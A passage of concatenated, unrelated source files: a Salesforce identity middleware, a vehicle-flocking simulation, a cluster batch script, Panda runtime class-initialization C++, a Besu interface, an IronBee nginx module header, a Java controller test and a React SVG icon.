OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /** * @module middleware/identity */ import { AxiosResponse, default as axios } from 'axios'; import { NextFunction, Request, RequestHandler, Response } from '@financialforcedev/orizuru'; import { EVENT_USER_IDENTITY_RETRIEVED, SalesforceIdentity } from '../..'; import { extractAccessToken } from './common/accessToken'; import { fail } from './common/fail'; /** * Returns an express middleware that uses the [Identity URL](https://help.salesforce.com/articleView?id=remoteaccess_using_openid.htm) * to retrieve information about the current Salesforce user. * * This can be used in tandem with the **auth callback** middleware to retrieve the user information with the granted access token. * * @fires EVENT_USER_IDENTITY_RETRIEVED * @param app The Orizuru server instance. * @returns An express middleware that retrieves the identity information. */ export function createMiddleware(app: Orizuru.IServer): RequestHandler { return async function retrieveIdentityInformation(req: Request, res: Response, next: NextFunction) { try { const identityUrl = validateRequest(req); const identityResponse: AxiosResponse<SalesforceIdentity> = await axios.get(identityUrl, { headers: { Authorization: req.headers.authorization } }); setIdentityInformation(app, req, identityResponse.data); next(); } catch (error) { fail(app, error, req, res, next); } }; } /** * Validate the request. * * @param req The HTTP request. * @returns The Identity URL. */ function validateRequest(req: Request) { extractAccessToken(req); if (!req.orizuru) { throw new Error('Missing required object parameter: orizuru.'); } if (!req.orizuru.salesforce) { throw new Error('Missing required object parameter: orizuru[salesforce].'); } const salesforce = req.orizuru.salesforce; if (!salesforce.userInfo) { throw new Error('Missing required object parameter: orizuru[salesforce][userInfo].'); } const userInfo = salesforce.userInfo; if (!userInfo.url) { throw new Error('Missing required string parameter: orizuru[salesforce][userInfo][url].'); } if (userInfo.validated === false) { throw new Error('The Identity URL must be validated.'); } if (!userInfo.validated) { throw new Error('Missing required string parameter: orizuru[salesforce][userInfo][validated].'); } return userInfo.url; } /** * Sets the identity information in the Orizuru context and emits a user identity * retrieved event. * * @param app The Orizuru server instance. * @param req The HTTP request. * @param identity The Salesforce Identity. */ function setIdentityInformation(app: Orizuru.IServer, req: Request, identity: SalesforceIdentity) { req.orizuru!.salesforce!.identity = identity; app.emit(EVENT_USER_IDENTITY_RETRIEVED, `Identity information retrieved for user (${identity.username}) [${req.ip}].`); }
import * as numjs from 'numjs'; import { ICanvasState } from '../components/Canvas/CanvasInterfaces'; import { ICreature, IEnvironment } from "../elements/ElementInterface"; import { width, height } from '../constants/world'; import Vehicle from '../elements/Vehicle'; import Path from '../elements/Path'; import FlowField from '../elements/FlowField'; import { perlin2, seed } from '../utils/noise'; import { mapping } from '../utils/math'; const vehicleForceFunction = (currentEnvironment: IEnvironment[], creatures: ICreature[], canvasState: ICanvasState) => { currentEnvironment.forEach((environment: IEnvironment) => { environment.display(canvasState); }); const seeker: Vehicle = <Vehicle>creatures[0]; const wanderer: Vehicle = <Vehicle>creatures[1]; const seekForce = seeker.seek(numjs.array([canvasState.mouseX, canvasState.mouseY])); seeker.applyForce(seekForce); wanderer.wander(); (<Vehicle[]>creatures).forEach((vehicle: Vehicle) => { vehicle.run(canvasState); }); } const generateMagneticFields = (mouseX: number, mouseY: number) => (width: number, height: number, resolution: number): nj.NdArray[][] => { const result: nj.NdArray[][] = []; const rows = Math.floor(width / resolution); const cols = Math.floor(height / resolution); for (let i = 0; i < rows; i++) { result[i] = []; for (let j = 0; j < cols; j++) { const center = numjs.array([ i * Math.floor(resolution / 2) + resolution, j * Math.floor(resolution / 2) + resolution ]); const target = numjs.array([ mouseX, mouseY ]); const newField = numjs.array([ target.subtract(center).get(0), target.subtract(center).get(1) ]); result[i].push(newField); } } return result; } const flowFieldForceFunction = (currentEnvironment: IEnvironment[], creatures: ICreature[], canvasState: ICanvasState) => { // Magnetic // currentEnvironment[0] = new FlowField(width, height, 25, generateMagneticFields(canvasState.mouseX, canvasState.mouseY), true) currentEnvironment.forEach((environment: IEnvironment) => { environment.display(canvasState); }); const flowField: FlowField = <FlowField>currentEnvironment[0]; (<Vehicle[]>creatures).forEach((vehicle: Vehicle) => { vehicle.follow(flowField); vehicle.run(canvasState); }); } const generateFlowFields = (width: number, height: number, resolution: number): nj.NdArray[][] => { const result: nj.NdArray[][] = []; const rows = Math.floor(width / resolution); const cols = Math.floor(height / resolution); seed(10); let xOffset = 0; for (let i = 0; i < rows; i++) { result[i] = []; let yOffset = 0; for (let j = 0; j < cols; j++) { const theta = mapping(perlin2(xOffset, yOffset), 0, 1, 0, Math.PI * 2); const newField = numjs.array([ Math.cos(theta), Math.sin(theta) ]) result[i].push(newField); yOffset += 0.04; } xOffset += 0.03; } return result; } const pathForceFunction = (currentEnvironment: IEnvironment[], creatures: ICreature[], canvasState: ICanvasState) => { if (canvasState.pressedKey === 'z') { currentEnvironment[0] = new Path( [ numjs.array([0, Math.random() * height / 2 + height / 4]), numjs.array([width / 4, Math.random() * height / 2 + height / 4]), numjs.array([width / 2, Math.random() * height / 2 + height / 4]), numjs.array([width * 3 / 4, Math.random() * height / 2 + height / 4]), numjs.array([width, Math.random() * height / 2 + height / 4]), ], Math.random() * 15 + 10 ) } currentEnvironment.forEach((environment: IEnvironment) => { environment.display(canvasState); }); const path: Path = <Path>currentEnvironment[0]; (<Vehicle[]>creatures).forEach((vehicle: Vehicle) => { vehicle.followPath(path); vehicle.run(canvasState); }); } const groupForceFunction = (currentEnvironment: IEnvironment[], creatures: ICreature[], canvasState: ICanvasState) => { currentEnvironment.forEach((environment: IEnvironment) => { environment.display(canvasState); }); (<Vehicle[]>creatures).forEach((vehicle: Vehicle) => { vehicle.applyBehaviors( <Vehicle[]>creatures, numjs.array([canvasState.mouseX, canvasState.mouseY]), 1, 1.1 ); vehicle.run(canvasState); }); } const flockForceFunction = (currentEnvironment: IEnvironment[], creatures: ICreature[], canvasState: ICanvasState) => { (<Vehicle[]>creatures).forEach((vehicle: Vehicle) => { vehicle.flock( <Vehicle[]>creatures, 1.5, 5, 2 ); vehicle.run(canvasState); }); } const generateVehicles = (n: number):Vehicle[] => { const result = []; for (let i = 0; i < n; i++) { const w = width / 2 - 100 + Math.random() * 100; const h = height / 2 - 100 + Math.random() * 100; const newVehicle = new Vehicle( 15, numjs.array([w, h]), 6, 0.2 ); newVehicle.velocity = numjs.array([ (Math.random() > 0.5 ? 1 : -1) * Math.random(), (Math.random() > 0.5 ? 1 : -1) * Math.random() ]); result.push(newVehicle); } return result; }; export const vehicleExperiment = { 'label': 'Vehicle', 'creatures': [ new Vehicle(20, numjs.array([80, height / 2]), 4, 0.1), new Vehicle(20, numjs.array([width / 2, height / 2]), 4, 0.2, '#7f80a7', '#4c4b67', true) ], 'environments': [], 'forceFunction': vehicleForceFunction, 'initialForceFunction': () => { } }; export const flowFieldExperiment = { 'label': 'FlowField', 'creatures': [ new Vehicle(20, numjs.array([width / 2, 10]), 6, 0.2, '#f9d71c', '#8b8b8b'), new Vehicle(20, numjs.array([10, 10]), 4, 0.4, '#b60505', '#6b0202') ], 'environments': [ new FlowField(width, height, 25, generateFlowFields, true) ], 'forceFunction': flowFieldForceFunction, 'initialForceFunction': () => { } }; export const pathExperiment = { 'label': 'Path', 'creatures': [ new Vehicle(20, numjs.array([15, 15]), 8, 0.1, '#f9d71c', '#8b8b8b', true), new Vehicle(20, numjs.array([15, 15]), 4, 0.2, '#b60505', '#6b0202', true) ], 'environments': [ new Path( [ numjs.array([0, Math.random() * height / 2 + height / 4]), numjs.array([width / 4, Math.random() * height / 2 + height / 4]), numjs.array([width / 2, Math.random() * height / 2 + height / 4]), numjs.array([width * 3 / 4, Math.random() * height / 2 + height / 4]), numjs.array([width, Math.random() * height / 2 + height / 4]), ], Math.random() * 15 + 10 ) ], 'forceFunction': pathForceFunction, 'initialForceFunction': () => { } }; export const groupExperiment = { 'label': 'Group', 'creatures': generateVehicles(25), 'environments': [], 'forceFunction': groupForceFunction, 'initialForceFunction': () => { } }; export const flockExperiment = { 'label': 'Flock', 'creatures': generateVehicles(25), 'environments': [], 'forceFunction': flockForceFunction, 'initialForceFunction': () => { } };
#!/bin/bash #MSUB -l nodes=1:ppn=16 #MSUB -l walltime=5:00:00 #MSUB -l pmem=2000mb #MSUB -N k5-v250-r19.5 #MSUB -o k5-v250-r19.5.out #MSUB -M sascha.rechenberger@uni-ulm.de #MSUB -m bea #MSUB -q singlenode module load devel/python/3.5.2 python main.py k5-v250-r19.5 --input_root $WORK/formulae --output_root $WORK/sat_experiment_data --poolsize 16 --repeat 20
/* * Copyright (c) 2021 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "runtime/class_initializer.h" #include "libpandafile/file_items.h" #include "mem/vm_handle.h" #include "runtime/handle_scope-inl.h" #include "runtime/include/class_linker.h" #include "runtime/include/coretypes/tagged_value.h" #include "runtime/include/runtime.h" #include "runtime/monitor_object_lock.h" #include "verification/job_queue/job_queue.h" namespace panda { static void WrapException(ClassLinker *class_linker, ManagedThread *thread) { ASSERT(thread->HasPendingException()); LanguageContext ctx = Runtime::GetCurrent()->GetLanguageContext(*thread->GetException()->ClassAddr<Class>()); auto *error_class = class_linker->GetExtension(ctx)->GetClass(ctx.GetErrorClassDescriptor(), false); ASSERT(error_class != nullptr); auto *cause = thread->GetException(); if (cause->IsInstanceOf(error_class)) { return; } ThrowException(ctx, thread, ctx.GetExceptionInInitializerErrorDescriptor(), nullptr); } static void ThrowNoClassDefFoundError(ManagedThread *thread, Class *klass) { LanguageContext ctx = Runtime::GetCurrent()->GetLanguageContext(*klass); auto name = klass->GetName(); ThrowException(ctx, thread, ctx.GetNoClassDefFoundErrorDescriptor(), utf::CStringAsMutf8(name.c_str())); } static void ThrowEarlierInitializationException(ManagedThread *thread, Class *klass) { ASSERT(klass->IsErroneous()); ThrowNoClassDefFoundError(thread, klass); } /* static */ bool ClassInitializer::Initialize(ClassLinker *class_linker, ManagedThread *thread, Class *klass) { if (klass->IsInitialized()) { return true; } [[maybe_unused]] HandleScope<ObjectHeader *> scope(thread); VMHandle<ObjectHeader> managed_class_obj_handle(thread, klass->GetManagedObject()); { ObjectLock lock(managed_class_obj_handle.GetPtr()); if (klass->IsInitialized()) { return true; } if (klass->IsErroneous()) { ThrowEarlierInitializationException(thread, klass); return false; } if (!klass->IsVerified()) { if (!VerifyClass(klass)) { klass->SetState(Class::State::ERRONEOUS); panda::ThrowVerificationException(utf::Mutf8AsCString(klass->GetDescriptor())); return false; } } if (klass->IsInitializing()) { if (klass->GetInitTid() == thread->GetId()) { return true; } while (true) { lock.Wait(true); if (thread->HasPendingException()) { WrapException(class_linker, thread); klass->SetState(Class::State::ERRONEOUS); return false; } if (klass->IsInitializing()) { continue; } if (klass->IsErroneous()) { ThrowNoClassDefFoundError(thread, klass); return false; } if (klass->IsInitialized()) { return true; } UNREACHABLE(); } } klass->SetInitTid(thread->GetId()); klass->SetState(Class::State::INITIALIZING); if (!ClassInitializer::InitializeFields(klass)) { LOG(ERROR, CLASS_LINKER) << "Cannot initialize fields of class '" << klass->GetName() << "'"; return false; } } LOG(DEBUG, CLASS_LINKER) << "Initializing class " << klass->GetName(); if (!klass->IsInterface()) { auto *base = klass->GetBase(); if (base != nullptr) { if (!Initialize(class_linker, thread, base)) { ObjectLock lock(managed_class_obj_handle.GetPtr()); klass->SetState(Class::State::ERRONEOUS); lock.NotifyAll(); return false; } } for (auto *iface : klass->GetInterfaces()) { if (iface->IsInitialized()) { continue; } if (!InitializeInterface(class_linker, thread, iface)) { ObjectLock lock(managed_class_obj_handle.GetPtr()); klass->SetState(Class::State::ERRONEOUS); lock.NotifyAll(); return false; } } } LanguageContext ctx = Runtime::GetCurrent()->GetLanguageContext(*klass); Method::Proto proto(PandaVector<panda_file::Type> {panda_file::Type(panda_file::Type::TypeId::VOID)}, PandaVector<std::string_view> {}); auto *cctor_name = ctx.GetCctorName(); auto *cctor = klass->GetDirectMethod(cctor_name, proto); if (cctor != nullptr) { cctor->InvokeVoid(thread, nullptr); } { ObjectLock lock(managed_class_obj_handle.GetPtr()); if (thread->HasPendingException()) { WrapException(class_linker, thread); klass->SetState(Class::State::ERRONEOUS); lock.NotifyAll(); return false; } klass->SetState(Class::State::INITIALIZED); lock.NotifyAll(); } return true; } template <class T> static void InitializePrimitiveField(Class *klass, const Field &field) { panda_file::FieldDataAccessor fda(*field.GetPandaFile(), field.GetFileId()); auto value = fda.GetValue<T>(); klass->SetFieldPrimitive<T>(field, value ? value.value() : 0); } static void InitializeTaggedField(Class *klass, const Field &field) { LanguageContext ctx = Runtime::GetCurrent()->GetLanguageContext(*klass); klass->SetFieldPrimitive<coretypes::TaggedValue>(field, ctx.GetInitialTaggedValue()); } static void InitializeStringField(Class *klass, const Field &field) { panda_file::FieldDataAccessor fda(*field.GetPandaFile(), field.GetFileId()); auto value = fda.GetValue<uint32_t>(); coretypes::String *str = nullptr; if (value) { panda_file::File::EntityId id(value.value()); LanguageContext ctx = Runtime::GetCurrent()->GetLanguageContext(*klass); str = Runtime::GetCurrent()->ResolveString(Runtime::GetCurrent()->GetPandaVM(), *klass->GetPandaFile(), id, ctx); } else { str = nullptr; } klass->SetFieldObject(field, str); } /* static */ bool ClassInitializer::InitializeFields(Class *klass) { using Type = panda_file::Type; for (const auto &field : klass->GetStaticFields()) { switch (field.GetType().GetId()) { case Type::TypeId::U1: case Type::TypeId::U8: InitializePrimitiveField<uint8_t>(klass, field); break; case Type::TypeId::I8: InitializePrimitiveField<int8_t>(klass, field); break; case Type::TypeId::I16: InitializePrimitiveField<int16_t>(klass, field); break; case Type::TypeId::U16: InitializePrimitiveField<uint16_t>(klass, field); break; case Type::TypeId::I32: InitializePrimitiveField<int32_t>(klass, field); break; case Type::TypeId::U32: InitializePrimitiveField<uint32_t>(klass, field); break; case Type::TypeId::I64: InitializePrimitiveField<int64_t>(klass, field); break; case Type::TypeId::U64: InitializePrimitiveField<uint64_t>(klass, field); break; case Type::TypeId::F32: InitializePrimitiveField<float>(klass, field); break; case Type::TypeId::F64: InitializePrimitiveField<double>(klass, field); break; case Type::TypeId::TAGGED: InitializeTaggedField(klass, field); break; case Type::TypeId::REFERENCE: InitializeStringField(klass, field); break; default: { UNREACHABLE(); break; } } } return true; } /* static */ bool ClassInitializer::InitializeInterface(ClassLinker *class_linker, ManagedThread *thread, Class *iface) { ASSERT(iface->IsInterface()); for (auto *base_iface : iface->GetInterfaces()) { if (base_iface->IsInitialized()) { continue; } if (!InitializeInterface(class_linker, thread, base_iface)) { return false; } } if (!iface->HasDefaultMethods()) { return true; } return Initialize(class_linker, thread, iface); } bool IsVerifySuccInAppInstall(const Class *klass) { using panda::os::file::Mode; using panda::os::file::Open; auto *file = klass->GetPandaFile(); if (file != nullptr && file->GetFilename().rfind("base.") != std::string::npos) { auto filename = file->GetFilename().substr(0, file->GetFilename().rfind('/')) + "/cacheFile"; auto verifyFail = Open(filename, Mode::READONLY); if (verifyFail.IsValid()) { return false; } } return true; } /* static */ bool ClassInitializer::VerifyClass(Class *klass) { ASSERT(!klass->IsVerified()); auto &runtime = *Runtime::GetCurrent(); auto &verif_opts = runtime.GetVerificationOptions(); if (!IsVerifySuccInAppInstall(klass)) { LOG(ERROR, CLASS_LINKER) << "verify fail"; return false; } if (verif_opts.Enable) { auto *file = klass->GetPandaFile(); bool is_system_class = file == nullptr || verifier::JobQueue::IsSystemFile(file); bool skip_verification = is_system_class && !verif_opts.Mode.DoNotAssumeLibraryMethodsVerified; if (skip_verification) { for (auto &method : klass->GetMethods()) { method.SetVerified(true); } } else { LOG(INFO, VERIFIER) << "Verification of class '" << klass->GetName() << "'"; for (auto &method : klass->GetMethods()) { method.EnqueueForVerification(); } // sync point if (verif_opts.Mode.SyncOnClassInitialization) { for (auto &method : klass->GetMethods()) { if (!method.Verify()) { return false; } } } } } klass->SetState(Class::State::VERIFIED); return true; } } // namespace panda
/* * Copyright ConsenSys AG. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ package org.hyperledger.besu.plugin.data; public interface SyncStatus { /** * Get the height of the block at which this synchronization attempt began. * * @return height of the block at which this synchronization attempt began. */ long getStartingBlock(); /** * Get the height of the last block the synchronizer received * * @return the height of the last block the synchronizer received */ long getCurrentBlock(); /** * Get the height of the highest known block. * * @return the height of the highest known block. */ long getHighestBlock(); }
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- nginx 1.3 module * * @author <NAME> <<EMAIL>> */ #ifndef NGXIB_H #define NGXIB_H #include <ngx_http.h> #include <ironbee/config.h> #include <ironbee/engine_state.h> #include <ironbee/engine_types.h> #include <ironbee/engine.h> /* HTTP statuses we'll support when IronBee asks us to return them */ #define STATUS_IS_ERROR(code) ( ((code) >= 200) && ((code) < 600) ) /* Placeholder for generic conversion of an IronBee error to an nginx error */ #define IB2NG(x) x /* A struct used to track a connection across requests (required because * there's no connection API in nginx). */ typedef struct ngxib_conn_t ngxib_conn_t; /* Buffering status for request/response bodies */ typedef enum { IOBUF_NOBUF, IOBUF_DISCARD, IOBUF_BUFFER_ALL, IOBUF_BUFFER_FLUSHALL, IOBUF_BUFFER_FLUSHPART } iobuf_t; #define IOBUF_BUFFERED(x) (((x) == IOBUF_BUFFER_ALL) || ((x) == IOBUF_BUFFER_FLUSHALL) || ((x) == IOBUF_BUFFER_FLUSHPART)) /* The main per-request record for the plugin */ typedef struct ngxib_req_ctx { ngx_http_request_t *r; /* The nginx request struct */ ngxib_conn_t *conn; /* Connection tracking */ ib_tx_t *tx; /* The IronBee request struct */ int status; /* Request status set by ironbee */ iobuf_t output_buffering; /* Output buffer management */ ngx_chain_t *response_buf; /* Output buffer management */ ngx_chain_t *response_ptr; /* Output buffer management */ size_t output_buffered; /* Output buffer management */ size_t output_limit; /* Output buffer management */ int body_done:1; /* State flags */ int body_wait:1; /* State flags */ int has_request_body:1; /* State flags */ int tested_request_body:1; /* State flags */ int output_filter_init:1; /* State flags */ int output_filter_done:1; /* State flags */ int hdrs_in:1; /* State flags */ int hdrs_out:1; /* State flags */ int start_response:1; /* State flags */ int internal_errordoc:1; /* State flags */ } ngxib_req_ctx; /** * Acquire an IronBee engine * * @param[out] pengine Pointer to acquired engine * @param[in] log Nginx log object * * @returns Status code */ ib_status_t ngxib_acquire_engine( ib_engine_t **pengine, ngx_log_t *log ); /** * Release an IronBee engine * * @param[in] engine Engine to release * @param[in] log Nginx log object * * @returns Status code */ ib_status_t ngxib_release_engine( ib_engine_t *engine, ngx_log_t *log ); /** * function to return the ironbee connection rec after ensuring it exists * * Determine whether a connection is known to IronBee. If yes, retrieve it; * if no then initialize it and retrieve it. * * This function will acquire an engine from the engine manager if required. * * Since nginx has no connection API, we have to hook into each request. * This function looks to see if the IronBee connection rec has already * been initialized, and if so returns it. If it doesn't yet exist, * it will be created and IronBee notified of the new connection. * A cleanup is added to nginx's connection pool, and is also used * in ngxib_conn_get to search for the connection. * * @param[in] rctx The module request ctx * @return The ironbee connection */ ib_conn_t *ngxib_conn_get(ngxib_req_ctx *rctx); /* IronBee's callback to initialize its connection rec */ ib_status_t ngxib_conn_init(ib_engine_t *ib, ib_conn_t *iconn, ib_state_t state, void *cbdata); /** * Export the server object */ ib_server_t *ib_plugin(void); int ngxib_has_request_body(ngx_http_request_t *r, ngxib_req_ctx *ctx); /* Misc symbols that need visibility across source files */ extern ngx_module_t ngx_ironbee_module; /* The module struct */ ngx_int_t ngxib_handler(ngx_http_request_t *r); /* Handler for Request Data */ /* new stuff for module */ typedef struct module_data_t { struct ib_manager_t *manager; /**< IronBee engine manager object */ int ib_log_active; ngx_log_t *log; int log_level; } module_data_t; ib_status_t ngxib_module(ib_module_t**, ib_engine_t*, void*); /* Return from a function that has set globals, ensuring those * globals are tidied up after use. An ugly but necessary hack. * Would become completely untenable if a threaded nginx happens. */ //#define cleanup_return(log) return ngxib_log(log),ngx_regex_malloc_done(), #define cleanup_return return ngx_regex_malloc_done(), #endif
package org.museautomation.ui.steptask; import org.junit.jupiter.api.*; import org.museautomation.ui.steptask.execution.*; import org.museautomation.builtins.step.*; import org.museautomation.core.events.*; import org.museautomation.core.events.matching.*; import org.museautomation.core.execution.*; import org.museautomation.core.project.*; import org.museautomation.core.step.*; import org.museautomation.core.steptask.*; import org.museautomation.core.values.*; import org.museautomation.ui.extend.edit.step.*; /** * @author <NAME> (see LICENSE.txt for license details) */ class InteractiveTestControllerTests { /** * The InteractiveTestController should pause in this case, rather than stopping. */ @Test void testPausedOnFatalVerifyFailure() { StepConfiguration step = new StepConfiguration(Verify.TYPE_ID); step.addSource(Verify.CONDITION_PARAM, ValueSourceConfiguration.forValue(false)); // will cause a failure step.addSource(Verify.TERMINATE_PARAM, ValueSourceConfiguration.forValue(true)); // should cause test to pause SteppedTask test = setupLogTest(step); SimpleProject project = new SimpleProject(); InteractiveTestController controller = new InteractiveTestControllerImpl(); controller.run(new SteppedTaskProviderImpl(project, test)); TestStateBlocker blocker = new TestStateBlocker(controller); blocker.blockUntil(InteractiveTaskState.PAUSED); Assertions.assertEquals(InteractiveTaskState.PAUSED, controller.getState()); Assertions.assertNull(controller.getResult()); // test not complete // should pause after verify step Assertions.assertEquals(2, controller.getTestRunner().getExecutionContext().getEventLog().findEvents(new EventTypeMatcher(StartStepEventType.TYPE_ID)).size()); } /** * The InteractiveTestController should pause in this case, rather than stopping. */ @Test void testStoppedAfterError() { StepConfiguration step = new StepConfiguration(Verify.TYPE_ID); SteppedTask test = setupLogTest(step); SimpleProject project = new SimpleProject(); InteractiveTestController controller = new InteractiveTestControllerImpl(); controller.run(new SteppedTaskProviderImpl(project, test)); TestStateBlocker blocker = new TestStateBlocker(controller); blocker.blockUntil(InteractiveTaskState.PAUSED); Assertions.assertEquals(InteractiveTaskState.PAUSED, controller.getState()); Assertions.assertNull(controller.getResult()); // test not considered done // should be stopped after verify step Assertions.assertEquals(2, controller.getTestRunner().getExecutionContext().getEventLog().findEvents(new EventTypeMatcher(StartStepEventType.TYPE_ID)).size()); } private static SteppedTask setupLogTest(StepConfiguration first_step) { StepConfiguration log_step = new StepConfiguration(LogMessage.TYPE_ID); log_step.addSource(LogMessage.MESSAGE_PARAM, ValueSourceConfiguration.forValue("abc")); StepConfiguration main_step; if (first_step == null) main_step = log_step; else { main_step = new StepConfiguration(BasicCompoundStep.TYPE_ID); main_step.addChild(first_step); main_step.addChild(log_step); } return new SteppedTask(main_step); } }
import React from 'react'; export default function SvgInlineInfo(props) { return ( <svg xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewBox="0 0 32 32" {...props} > <defs> <clipPath id="inline-info_svg__a"> <path d="M0 0h32v32H0z" /> </clipPath> </defs> <g clipPath="url(#inline-info_svg__a)"> <path data-name="\u524D\u9762\u30AA\u30D6\u30B8\u30A7\u30AF\u30C8\u3067\u578B\u629C\u304D 126" d="M16.334 29.334h-.667a13 13 0 01-13-13v-.667a13 13 0 0113-13h.666a13 13 0 0113 13v.667a13 13 0 01-13 13zm-.333-24a10.666 10.666 0 107.543 3.124A10.6 10.6 0 0016 5.334z" /> <path data-name="\u9577\u65B9\u5F62 10395" d="M14 15h4v8h-4z" /> <path data-name="\u9577\u65B9\u5F62 10396" d="M14 9h4v4h-4z" /> </g> </svg> ); }